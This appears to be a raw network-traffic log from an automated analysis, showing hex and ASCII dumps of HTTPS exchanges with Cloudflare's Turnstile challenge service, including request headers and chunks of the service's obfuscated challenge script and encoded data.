2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 5b 67 53 28 31 35 38 30 29 5d 28 29 7d 2c 31 65 33 29 2c 65 4d 5b 67 50 28 31 35 31 37 29 5d 5b 67 50 28 31 38 37 39 29 5d 28 67 50 28 31 31 35 30 29 2c 65 29 29 3b 72 65 74 75 72 6e 21 5b 5d 7d 2c 65 51 3d 30 2c 65 54 3d 7b 7d 2c 65 54 5b 67 4a 28 35 38 33 29 5d 3d 65 53 2c 65 4d 5b 67 4a 28 37 36 33 29 5d 3d 65 54 2c 65 56 3d 65 4d 5b 67 4a 28 31 31 33 37 29 5d 5b 67 4a 28 31 34 30 30 29 5d 5b 67 4a 28 31 36 35 33 29 5d 2c 65 57 3d 65 4d 5b 67 4a 28 31 31 33 37 29 5d 5b 67 4a 28 31 34 30 30 29 5d 5b 67 4a 28 35 32 31 29 5d 2c 65 58 3d 65 4d 5b 67 4a 28 31 31 33 37 29 5d 5b 67 4a 28 31 34 30 30 29 5d 5b 67 4a 28 31 34 38 30 29 5d 2c 66 39 3d 21 5b 5d 2c 66 6c 3d 75 6e 64 65 66 69 6e 65 64 2c 65 4d 5b 67 4a 28 35 33 34 29 5d 28 67 4a 28 31 36 39 35 29 2c Data Ascii: [gS(1580)]()},1e3),eM[gP(1517)][gP(1879)](gP(1150),e));return![]},eQ=0,eT={},eT[gJ(583)]=eS,eM[gJ(763)]=eT,eV=eM[gJ(1137)][gJ(1400)][gJ(1653)],eW=eM[gJ(1137)][gJ(1400)][gJ(521)],eX=eM[gJ(1137)][gJ(1400)][gJ(1480)],f9=![],fl=undefined,eM[gJ(534)](gJ(1695),
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 5b 67 4a 28 37 38 36 29 5d 3d 66 68 2c 66 53 5b 67 4a 28 31 31 31 32 29 5d 3d 66 64 2c 66 53 5b 67 4a 28 37 35 38 29 5d 3d 66 63 2c 65 4d 5b 67 4a 28 31 30 39 34 29 5d 3d 66 53 2c 66 54 3d 7b 7d 2c 66 54 5b 67 4a 28 31 33 34 36 29 5d 3d 27 6f 27 2c 66 54 5b 67 4a 28 31 32 39 37 29 5d 3d 27 73 27 2c 66 54 5b 67 4a 28 31 36 35 31 29 5d 3d 27 75 27 2c 66 54 5b 67 4a 28 31 38 39 36 29 5d 3d 27 7a 27 2c 66 54 5b 67 4a 28 31 37 35 30 29 5d 3d 27 6e 27 2c 66 54 5b 67 4a 28 31 33 39 31 29 5d 3d 27 49 27 2c 66 54 5b 67 4a 28 31 32 34 32 29 5d 3d 27 62 27 2c 66 55 3d 66 54 2c 65 4d 5b 67 4a 28 31 30 32 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 2c 68 2c 69 2c 6a 2c 69 67 2c 6f 2c 78 2c 42 2c 43 2c 44 2c 45 2c 46 29 7b 69 66 28 69 67 3d 67 4a 2c 6f 3d 7b 27 68 51 4b Data Ascii: [gJ(786)]=fh,fS[gJ(1112)]=fd,fS[gJ(758)]=fc,eM[gJ(1094)]=fS,fT={},fT[gJ(1346)]='o',fT[gJ(1297)]='s',fT[gJ(1651)]='u',fT[gJ(1896)]='z',fT[gJ(1750)]='n',fT[gJ(1391)]='I',fT[gJ(1242)]='b',fU=fT,eM[gJ(1024)]=function(g,h,i,j,ig,o,x,B,C,D,E,F){if(ig=gJ,o={'hQK
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 36 33 2e 34 39 5e 74 68 69 73 2e 67 5d 5b 33 5d 2c 48 5b 69 6f 28 31 36 34 32 29 5d 28 74 68 69 73 2e 68 5b 31 36 33 2e 32 35 5e 74 68 69 73 2e 67 5d 5b 31 5d 5b 69 6f 28 39 36 33 29 5d 28 74 68 69 73 2e 68 5b 48 5b 69 6f 28 31 65 33 29 5d 28 31 36 33 2c 74 68 69 73 2e 67 29 5d 5b 30 5d 2b 2b 29 2c 32 33 39 29 2b 32 35 36 26 32 35 35 2e 32 36 29 2c 4c 3d 74 68 69 73 2e 68 5b 74 68 69 73 2e 67 5e 31 36 33 2e 31 38 5d 5b 33 5d 5e 48 5b 69 6f 28 31 35 31 39 29 5d 28 48 5b 69 6f 28 31 37 34 33 29 5d 28 48 5b 69 6f 28 31 36 34 32 29 5d 28 74 68 69 73 2e 68 5b 48 5b 69 6f 28 31 65 33 29 5d 28 31 36 33 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 69 6f 28 39 36 33 29 5d 28 74 68 69 73 2e 68 5b 31 36 33 2e 32 38 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 2c 32 33 39 29 Data Ascii: 63.49^this.g][3],H[io(1642)](this.h[163.25^this.g][1][io(963)](this.h[H[io(1e3)](163,this.g)][0]++),239)+256&255.26),L=this.h[this.g^163.18][3]^H[io(1519)](H[io(1743)](H[io(1642)](this.h[H[io(1e3)](163,this.g)][1][io(963)](this.h[163.28^this.g][0]++),239)
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 75 72 6e 20 6e 28 29 7d 2c 27 74 62 6e 4f 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 6e 28 29 7d 2c 27 6d 6e 7a 42 52 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3d 3d 3d 6f 7d 2c 27 69 52 44 55 41 27 3a 69 70 28 31 30 33 38 29 2c 27 4e 68 51 5a 76 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6e 3c 6f 7d 2c 27 6a 49 65 75 41 27 3a 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 72 65 74 75 72 6e 20 6f 3d 3d 3d 6e 7d 7d 2c 6a 3d 4f 62 6a 65 63 74 5b 69 70 28 31 35 36 32 29 5d 28 68 29 2c 6b 3d 30 3b 6b 3c 6a 5b 69 70 28 31 35 38 39 29 5d 3b 6b 2b 2b 29 69 66 28 69 5b 69 70 28 31 34 37 30 29 5d 28 69 5b 69 70 28 38 31 38 29 5d 2c 69 5b 69 70 28 38 31 38 29 5d 29 29 7b 69 66 28 6c 3d 6a 5b Data Ascii: urn n()},'tbnON':function(n){return n()},'mnzBR':function(n,o){return n===o},'iRDUA':ip(1038),'NhQZv':function(n,o){return n<o},'jIeuA':function(n,o){return o===n}},j=Object[ip(1562)](h),k=0;k<j[ip(1589)];k++)if(i[ip(1470)](i[ip(818)],i[ip(818)])){if(l=j[
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 73 2e 67 5d 5b 30 5d 2b 2b 29 2d 32 33 39 2c 32 35 36 29 26 32 35 35 2c 78 5b 33 5d 3d 6f 5b 69 73 28 31 37 32 30 29 5d 28 74 68 69 73 2e 68 5b 6f 5b 69 73 28 31 31 37 32 29 5d 28 31 36 33 2c 74 68 69 73 2e 67 29 5d 5b 33 5d 2c 31 37 2b 74 68 69 73 2e 68 5b 6f 5b 69 73 28 31 30 30 37 29 5d 28 31 36 33 2c 74 68 69 73 2e 67 29 5d 5b 31 5d 5b 69 73 28 39 36 33 29 5d 28 74 68 69 73 2e 68 5b 31 36 33 5e 74 68 69 73 2e 67 5d 5b 30 5d 2b 2b 29 26 32 35 35 2e 37 35 29 5e 32 32 36 2e 37 38 2c 74 68 69 73 2e 68 5b 76 5e 74 68 69 73 2e 67 5d 3d 6b 5b 69 73 28 31 31 32 36 29 5d 28 74 68 69 73 2c 78 29 3b 65 6c 73 65 20 72 65 74 75 72 6e 27 6f 2e 27 2b 6e 7d 29 7d 65 6c 73 65 20 66 6f 72 28 6f 3d 69 70 28 37 32 33 29 5b 69 70 28 31 30 30 35 29 5d 28 27 7c 27 29 2c 73 Data Ascii: s.g][0]++)-239,256)&255,x[3]=o[is(1720)](this.h[o[is(1172)](163,this.g)][3],17+this.h[o[is(1007)](163,this.g)][1][is(963)](this.h[163^this.g][0]++)&255.75)^226.78,this.h[v^this.g]=k[is(1126)](this,x);else return'o.'+n})}else for(o=ip(723)[ip(1005)]('\|'),s

Timestamp	Bytes transferred	Direction	Data
2024-12-29 15:59:13 UTC	1170	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/898190745:1735485141:Pje49cEkypugNQgmyh3blWlxXmkNYDicky8ne4tFJVQ/8f9afee62d6042e1/aDS_V8lNTomNIYOz4ts_O5dSbq05XDoYhtPAynvco1E-1735487949-1.1.1.1-ADW9KJGHzGdkI6XdltUCCHJT.Y3eyonqFnausn_NkEK2kLVTy_PGpvDpRsARQS4_ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 3318 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: aDS_V8lNTomNIYOz4ts_O5dSbq05XDoYhtPAynvco1E-1735487949-1.1.1.1-ADW9KJGHzGdkI6XdltUCCHJT.Y3eyonqFnausn_NkEK2kLVTy_PGpvDpRsARQS4_ sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/sghn1/0x4AAAAAAA3TEPXpcYeAkLPe/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-29 15:59:13 UTC	3318	OUT	Data Raw: 76 5f 38 66 39 61 66 65 65 36 32 64 36 30 34 32 65 31 3d 49 4b 70 67 51 67 6e 67 69 67 54 67 31 67 76 57 6c 30 57 6c 6f 39 77 6f 77 79 44 34 77 44 6c 77 39 42 79 45 77 69 42 6c 50 57 6c 42 45 24 6c 4a 25 32 62 67 45 64 37 6f 2b 64 51 59 4b 77 62 6c 4c 39 6e 45 6c 6d 6e 67 6c 7a 32 6c 44 38 4d 6c 34 72 39 6c 79 70 59 67 50 2b 6c 4d 67 6e 51 72 6c 31 57 4a 7a 6c 4a 6c 44 24 6c 69 7a 4c 66 50 4a 75 6c 77 75 55 59 6c 31 61 2b 64 36 6a 32 79 57 78 34 75 38 63 39 66 2b 75 43 72 51 6c 44 42 6c 4f 67 6c 54 77 66 24 24 6c 72 54 51 4c 67 77 78 2b 6b 76 79 58 67 6d 7a 7a 78 69 59 6c 38 39 61 59 76 64 67 2b 49 64 6c 56 67 54 55 59 44 35 45 4c 67 44 54 6c 6e 59 71 6c 37 24 64 33 72 39 39 2b 58 57 42 6b 38 70 6c 71 24 39 36 71 64 77 59 6d 50 4d 54 6c 7a 70 42 65 71 70 Data Ascii: v_8f9afee62d6042e1=IKpgQgngigTg1gvWl0Wlo9wowyD4wDlw9ByEwiBlPWlBE$lJ%2bgEd7o+dQYKwblL9nElmnglz2lD8Ml4r9lypYgP+lMgnQrl1WJzlJlD$lizLfPJulwuUYl1a+d6j2yWx4u8c9f+uCrQlDBlOglTwf$$lrTQLgwx+kvyXgmzzxiYl89aYvdg+IdlVgTUYD5ELgDTlnYql7$d3r99+XWBk8plq$96qdwYmPMTlzpBeqp
2024-12-29 15:59:14 UTC	747	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 15:59:14 GMT Content-Type: text/plain; charset=UTF-8 Content-Length: 149664 Connection: close cf-chl-gen: KHk4hVkIWYaQhU3YS8/Jlk5JeW7ELryIBzavXWB3DH/4t5joJ9sOnmqm08Fr9aGM2oS48Xiciylay7PX62ifkyfd5URljKtAFWR+8sYlVbovTh4J7H25Tr03jjqlDurTlgQ9m6OA0Z/NLPhBRmggOS8Kv5K3vf9a9Y57ImYKDw6Zkfj/Pf4gNyhSqI5COkbkfzhdC+ehsKj3ZQIUExvPhEG7pk8kHsrCwYHb1rrOejYhQsJz/WLZ9aqkxshoHnsym6vNZgdwNWHwXXElgiIIp7XO+RJZdrAkOAqN0a4ZjILUmW8D0HtUlRzDwHL3ZKPw310yRedX2LgYLNckwJe9dgoOAXxKs9L67aMBeLEnElWVzznaYlYeupgcNGrL8ELSLt0zkflkrppkJgAI9geCTwL58ztErLp0beljuV3D6PYqjAtdXDBjFn/rPYg4pmnvF7eAXUWQTcN4Bn9P9ht92//GfWBCyEtR0GrZJUCEEA6nGKU=$fuc2KHzff2tsb77P Server: cloudflare CF-RAY: 8f9aff009b4d430a-EWR alt-svc: h3=":443"; ma=86400
2024-12-29 15:59:14 UTC	622	IN	Data Raw: 55 47 5a 4e 64 57 4e 54 54 47 65 4a 6b 59 70 30 6e 46 68 32 6e 59 46 64 63 33 2b 42 6d 32 71 4b 70 58 61 61 6d 35 2b 62 6f 36 70 75 69 72 64 79 6a 6f 47 5a 63 61 68 33 69 72 79 55 65 4a 4b 6b 66 35 79 68 79 4b 6d 2b 69 59 71 63 6c 71 4b 75 68 72 6d 75 31 4b 71 7a 6e 38 53 35 70 64 71 73 32 61 75 59 32 36 6d 78 7a 72 44 61 32 2b 4c 58 32 4b 57 30 75 75 47 38 7a 65 6a 59 71 39 7a 6f 78 50 57 2b 37 4d 6a 34 38 4e 6e 4e 2f 4f 6a 5a 79 2b 2f 62 76 63 51 44 30 4d 63 42 41 66 61 39 37 4d 62 49 2f 76 44 49 44 51 33 6e 46 39 37 56 36 78 72 56 44 78 55 64 35 68 2f 30 48 43 48 36 47 42 41 57 48 53 6b 61 39 79 67 4d 41 2f 77 6b 37 68 45 4d 36 51 50 2b 37 53 59 48 4f 54 45 6e 44 68 67 4c 4d 41 77 5a 50 79 77 62 4a 7a 49 66 52 42 73 72 48 67 6f 2f 54 54 77 69 47 69 55 Data Ascii: UGZNdWNTTGeJkYp0nFh2nYFdc3+Bm2qKpXaam5+bo6puirdyjoGZcah3iryUeJKkf5yhyKm+iYqclqKuhrmu1Kqzn8S5pdqs2auY26mxzrDa2+LX2KW0uuG8zejYq9zoxPW+7Mj48NnN/OjZy+/bvcQD0McBAfa97MbI/vDIDQ3nF97V6xrVDxUd5h/0HCH6GBAWHSka9ygMA/wk7hEM6QP+7SYHOTEnDhgLMAwZPywbJzIfRBsrHgo/TTwiGiU
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 41 6a 59 30 77 38 49 32 52 50 62 6d 6c 76 62 45 4e 44 64 7a 5a 70 56 6a 5a 32 54 31 42 2f 56 58 46 71 55 32 35 5a 54 34 64 36 55 33 78 32 57 6e 6c 47 58 47 36 52 51 30 6c 77 55 6e 61 45 67 32 39 30 6d 58 56 34 57 58 74 72 6c 6e 5a 30 58 36 47 52 6a 70 36 65 65 6e 53 6c 66 34 46 72 65 4a 2b 6c 6b 70 47 55 61 32 79 6e 6f 34 6c 79 72 4c 42 32 68 35 43 72 75 72 47 54 76 4b 36 39 6b 62 43 6f 73 73 7a 45 77 61 65 50 69 35 43 6c 68 63 4c 53 70 63 61 79 30 36 57 62 76 4d 79 75 32 2b 43 5a 31 35 57 74 31 4d 47 78 33 71 53 39 78 65 6e 6d 34 62 6e 42 36 2b 4b 76 37 76 44 4d 37 64 65 33 74 63 72 4d 36 50 37 30 36 74 53 35 30 76 4c 61 35 41 58 57 38 67 6e 54 37 63 33 4c 41 38 73 4c 44 64 77 51 45 51 4d 54 34 74 63 52 35 52 41 4a 36 42 67 57 39 42 58 74 34 66 73 57 49 Data Ascii: AjY0w8I2RPbmlvbENDdzZpVjZ2T1B/VXFqU25ZT4d6U3x2WnlGXG6RQ0lwUnaEg290mXV4WXtrlnZ0X6GRjp6eenSlf4FreJ+lkpGUa2yno4lyrLB2h5CrurGTvK69kbCosszEwaePi5ClhcLSpcay06WbvMyu2+CZ15Wt1MGx3qS9xenm4bnB6+Kv7vDM7de3tcrM6P706tS50vLa5AXW8gnT7c3LA8sLDdwQEQMT4tcR5RAJ6BgW9BXt4fsWI
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 75 51 79 63 76 53 33 56 7a 5a 56 39 78 61 32 74 57 62 31 56 57 58 32 42 4e 61 32 36 41 67 32 5a 7a 65 48 74 6c 64 30 6c 6c 66 48 74 6d 58 48 75 54 6b 6d 53 42 62 47 52 76 6d 5a 69 45 62 48 79 55 61 6e 32 44 64 57 4f 4f 70 33 4b 57 6f 31 79 5a 6c 33 68 75 72 33 6d 6a 70 57 31 71 69 49 47 6a 71 58 69 52 70 71 6d 2b 6b 5a 53 4c 65 4a 53 39 64 6f 4f 30 77 36 4f 5a 76 4b 4e 2b 6e 62 61 48 30 4b 57 6b 69 38 44 42 6b 73 71 7a 73 35 65 52 6d 61 69 39 6c 39 76 4c 34 62 47 38 6e 4c 50 50 6f 64 61 36 36 64 2f 74 7a 4b 65 35 30 65 37 68 33 37 50 75 31 74 58 31 31 74 53 36 79 4d 33 50 41 64 44 79 76 72 76 54 2b 4e 44 67 36 65 50 39 43 50 6a 63 34 2b 44 6d 45 65 50 69 2f 65 45 58 32 42 41 48 2b 52 33 6f 44 4e 6b 55 45 77 2f 7a 37 65 45 53 34 43 44 36 42 66 6e 2b 44 67 Data Ascii: uQycvS3VzZV9xa2tWb1VWX2BNa26Ag2ZzeHtld0llfHtmXHuTkmSBbGRvmZiEbHyUan2DdWOOp3KWo1yZl3hur3mjpW1qiIGjqXiRpqm+kZSLeJS9doO0w6OZvKN+nbaH0KWki8DBksqzs5eRmai9l9vL4bG8nLPPoda66d/tzKe50e7h37Pu1tX11tS6yM3PAdDyvrvT+NDg6eP9CPjc4+DmEePi/eEX2BAH+R3oDNkUEw/z7eES4CD6Bfn+Dg
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 56 6a 39 41 63 32 4d 7a 56 6d 68 57 52 31 51 37 53 7a 31 65 52 56 65 44 61 45 4b 4b 5a 46 74 39 59 59 42 4f 6a 32 4a 38 68 31 57 4a 6c 48 6c 69 55 34 56 70 56 33 52 5a 62 4a 46 30 64 57 31 66 58 70 79 70 70 5a 56 6f 6f 32 65 45 66 36 75 4e 6f 6d 79 43 63 49 6d 34 6f 36 6d 6c 64 61 65 4f 6d 35 79 77 6b 62 32 59 73 35 69 4f 68 73 53 49 67 49 4c 45 69 61 43 70 77 4c 4b 77 72 62 48 49 73 71 2f 4d 6b 4e 4f 7a 74 64 69 78 32 4c 54 42 33 74 53 73 72 37 32 76 76 74 33 58 71 62 32 66 37 4f 33 4f 33 4f 48 77 76 39 47 32 71 63 4f 32 7a 2f 76 4e 32 37 69 36 30 64 4b 34 2f 50 6e 58 76 77 58 45 31 74 72 2b 2f 63 54 34 44 75 66 44 42 50 51 41 31 65 6b 58 37 64 58 6c 46 52 4c 30 43 50 54 64 47 64 77 59 48 78 50 31 2b 69 4d 53 35 79 54 70 43 43 4d 78 4a 42 6f 6c 4e 51 67 Data Ascii: Vj9Ac2MzVmhWR1Q7Sz1eRVeDaEKKZFt9YYBOj2J8h1WJlHliU4VpV3RZbJF0dW1fXpyppZVoo2eEf6uNomyCcIm4o6mldaeOm5ywkb2Ys5iOhsSIgILEiaCpwLKwrbHIsq/MkNOztdix2LTB3tSsr72vvt3Xqb2f7O3O3OHwv9G2qcO2z/vN27i60dK4/PnXvwXE1tr+/cT4DufDBPQA1ekX7dXlFRL0CPTdGdwYHxP1+iMS5yTpCCMxJBolNQg
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 7a 70 79 4e 59 46 2f 4e 48 4e 54 4e 30 52 65 5a 49 6c 2b 59 6d 4b 44 58 6d 31 74 57 34 68 72 61 48 57 52 68 6e 6c 76 5a 48 56 39 66 46 36 51 6b 31 31 38 6a 47 43 6d 68 49 4e 33 71 48 6d 68 61 4a 69 6f 6c 36 4e 76 6a 34 4f 6d 67 34 56 76 70 33 57 6b 64 62 61 74 6d 4a 61 56 73 4c 64 31 6a 62 53 69 74 62 62 43 6f 4a 57 32 72 61 4c 50 6a 38 61 62 77 34 75 53 71 64 66 53 6c 4a 65 58 74 71 58 48 72 39 2f 66 71 35 37 63 7a 61 57 2f 73 2b 6d 71 36 4e 6e 6f 74 73 61 6d 7a 37 47 6c 71 72 53 32 39 4e 66 35 30 39 44 4d 72 39 44 70 38 76 7a 52 2b 39 72 62 78 67 58 58 42 63 62 33 35 77 76 4e 35 65 37 67 30 74 30 4f 30 41 50 76 31 52 55 63 31 42 37 76 42 78 73 5a 44 53 45 67 49 50 63 57 41 67 55 48 48 52 2f 72 44 53 6e 71 42 77 6f 49 2b 77 6b 4e 49 2f 51 73 47 6a 77 46 Data Ascii: zpyNYF/NHNTN0ReZIl+YmKDXm1tW4hraHWRhnlvZHV9fF6Qk118jGCmhIN3qHmhaJiol6Nvj4Omg4Vvp3WkdbatmJaVsLd1jbSitbbCoJW2raLPj8abw4uSqdfSlJeXtqXHr9/fq57czaW/s+mq6Nnotsamz7GlqrS29Nf509DMr9Dp8vzR+9rbxgXXBcb35wvN5e7g0t0O0APv1RUc1B7vBxsZDSEgIPcWAgUHHR/rDSnqBwoI+wkNI/QsGjwF
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 52 56 64 47 64 48 4f 6e 52 68 63 32 42 61 59 47 56 51 58 49 42 76 59 31 4e 6e 6b 34 35 34 6a 47 79 4a 58 56 6d 4c 69 58 5a 66 6f 34 53 41 59 4a 70 33 61 47 4a 2f 71 49 4b 45 69 59 4b 4c 6f 59 36 4a 68 59 4b 46 70 59 65 6a 6b 6e 65 4a 6c 4c 75 71 75 73 4f 50 6f 62 43 64 6b 48 2b 30 6e 73 79 4c 66 34 79 2b 6b 4d 4b 7a 77 4d 79 2f 79 4c 2b 57 75 59 79 33 6c 35 7a 4a 79 72 61 63 31 72 36 74 7a 35 37 47 79 4d 6e 41 7a 4f 61 72 7a 2f 44 49 79 4f 75 37 36 63 50 52 37 4c 4f 76 75 66 6a 78 37 4d 72 73 76 76 33 5a 37 74 48 57 2b 73 44 77 2f 66 51 43 41 4f 62 39 42 4d 37 44 36 65 49 44 44 50 50 52 35 2f 72 58 44 68 6f 52 44 64 63 68 37 67 4c 73 49 42 6f 67 42 68 4c 78 42 78 63 6d 43 69 4d 59 47 65 4d 6f 45 7a 51 54 4c 52 44 31 38 69 77 35 43 7a 49 50 2f 54 38 38 46 Data Ascii: RVdGdHOnRhc2BaYGVQXIBvY1Nnk454jGyJXVmLiXZfo4SAYJp3aGJ/qIKEiYKLoY6JhYKFpYejkneJlLuqusOPobCdkH+0nsyLf4y+kMKzwMy/yL+WuYy3l5zJyrac1r6tz57GyMnAzOarz/DIyOu76cPR7LOvufjx7Mrsvv3Z7tHW+sDw/fQCAOb9BM7D6eIDDPPR5/rXDhoRDdch7gLsIBogBhLxBxcmCiMYGeMoEzQTLRD18iw5CzIP/T88F
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 57 65 59 5a 38 58 56 65 4b 5a 56 35 73 5a 32 78 6a 55 32 61 48 55 4a 68 57 57 46 35 65 6b 61 4a 67 65 6f 36 4e 68 33 39 7a 71 5a 78 6e 68 6e 36 65 71 4b 78 2f 70 4a 53 73 68 35 64 75 68 72 43 32 6b 4c 6d 62 65 61 71 78 6d 48 32 59 65 70 36 54 68 37 47 58 74 61 61 47 74 61 6d 65 75 63 75 78 30 4c 57 7a 72 4d 36 59 74 4d 32 5a 78 36 6d 61 74 62 4b 63 6f 71 4b 2b 78 4e 50 6f 35 4c 2b 7a 34 73 71 37 35 64 79 2b 30 63 6e 54 71 36 7a 6a 37 64 4c 31 35 74 58 71 2f 72 72 61 37 2f 33 43 75 74 38 45 32 63 4d 48 31 67 6e 55 37 41 6f 4d 39 38 72 49 2b 76 33 6a 31 4e 41 50 39 4f 6e 6f 36 75 54 56 35 2f 6b 4b 33 76 54 65 38 42 72 59 33 76 76 38 4a 76 63 6f 47 53 66 74 4b 67 67 45 4d 77 50 78 45 68 41 75 41 67 55 4e 4b 51 34 38 4f 7a 51 43 41 43 77 75 4a 7a 77 78 50 42 Data Ascii: WeYZ8XVeKZV5sZ2xjU2aHUJhWWF5ekaJgeo6Nh39zqZxnhn6eqKx/pJSsh5duhrC2kLmbeaqxmH2Yep6Th7GXtaaGtameucux0LWzrM6YtM2Zx6matbKcoqK+xNPo5L+z4sq75dy+0cnTq6zj7dL15tXq/rra7/3Cut8E2cMH1gnU7AoM98rI+v3j1NAP9Ono6uTV5/kK3vTe8BrY3vv8JvcoGSftKggEMwPxEhAuAgUNKQ48OzQCACwuJzwxPB
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 62 56 42 39 53 6d 47 42 66 35 4e 52 6b 33 75 57 6a 6d 68 5a 63 56 71 63 63 5a 64 65 6b 33 61 69 65 4a 53 6a 6e 36 79 72 66 6e 2b 74 5a 49 4f 6b 6b 71 2b 4a 6f 34 61 32 6a 36 57 79 71 72 36 30 75 35 50 45 66 4b 36 79 66 6f 43 68 76 4c 57 56 71 4c 72 43 6e 61 43 4d 6b 36 62 4e 30 4a 54 45 6c 64 54 44 30 4a 54 61 32 64 75 2f 71 37 44 43 76 61 2b 31 34 4c 53 36 78 4d 7a 61 75 62 36 73 35 2b 2f 44 7a 73 66 6a 32 4f 44 58 35 73 76 56 37 66 4c 53 33 50 6a 58 2b 50 44 65 39 74 79 2b 31 74 58 4b 79 4f 62 73 45 4f 44 4d 36 42 58 7a 7a 4d 38 51 43 51 67 4b 46 78 44 6f 37 39 48 33 32 74 7a 36 47 42 6b 50 2b 42 6f 6f 35 53 67 56 4a 78 6b 5a 47 66 77 4d 49 67 49 6b 46 79 38 6a 44 54 6b 63 4c 2f 30 73 46 51 6b 69 4d 67 41 75 39 7a 6c 47 50 44 54 38 42 44 6b 6a 52 55 67 Data Ascii: bVB9SmGBf5NRk3uWjmhZcVqccZdek3aieJSjn6yrfn+tZIOkkq+Jo4a2j6Wyqr60u5PEfK6yfoChvLWVqLrCnaCMk6bN0JTEldTD0JTa2du/q7DCva+14LS6xMzaub6s5+/Dzsfj2ODX5svV7fLS3PjX+PDe9ty+1tXKyObsEODM6BXzzM8QCQgKFxDo79H32tz6GBkP+Boo5SgVJxkZGfwMIgIkFy8jDTkcL/0sFQkiMgAu9zlGPDT8BDkjRUg
2024-12-29 15:59:14 UTC	1369	IN	Data Raw: 49 68 79 6d 48 6d 61 58 48 70 2b 58 6d 35 34 62 4a 35 2b 64 58 32 45 64 48 71 6f 6a 47 4e 2f 66 61 5a 38 6a 48 2b 46 72 6e 43 66 72 34 53 70 71 59 79 32 72 35 57 34 6a 48 32 6a 6b 36 61 37 77 5a 61 58 6d 33 33 4b 69 4a 69 6a 77 72 47 6f 69 38 43 6b 77 36 53 69 78 73 53 5a 6e 4e 6a 56 71 64 47 59 72 4a 37 50 77 64 2b 35 73 64 48 6f 6e 61 76 6c 70 72 37 67 70 39 43 70 33 72 57 77 79 73 48 73 30 2b 54 71 75 38 2f 78 76 4e 44 65 75 37 7a 53 34 65 50 33 39 64 30 4c 42 74 58 5a 43 2b 6a 38 41 67 73 47 78 39 54 76 38 4f 48 5a 47 76 63 51 30 42 37 37 34 4f 76 36 47 69 66 31 43 66 41 46 2b 66 6f 6f 36 52 33 39 49 4f 30 62 38 53 63 31 38 4f 6b 42 4d 52 45 32 39 78 73 30 45 43 35 41 41 55 48 2b 49 67 51 65 4e 67 6f 4a 53 55 49 4f 47 31 45 6a 54 55 34 54 53 6a 38 50 Data Ascii: IhymHmaXHp+Xm54bJ5+dX2EdHqojGN/faZ8jH+FrnCfr4SpqYy2r5W4jH2jk6a7wZaXm33KiJijwrGoi8Ckw6SixsSZnNjVqdGYrJ7Pwd+5sdHonavlpr7gp9Cp3rWwysHs0+Tqu8/xvNDeu7zS4eP39d0LBtXZC+j8AgsGx9Tv8OHZGvcQ0B774Ov6Gif1CfAF+foo6R39IO0b8Sc18OkBMRE29xs0EC5AAUH+IgQeNgoJSUIOG1EjTU4TSj8P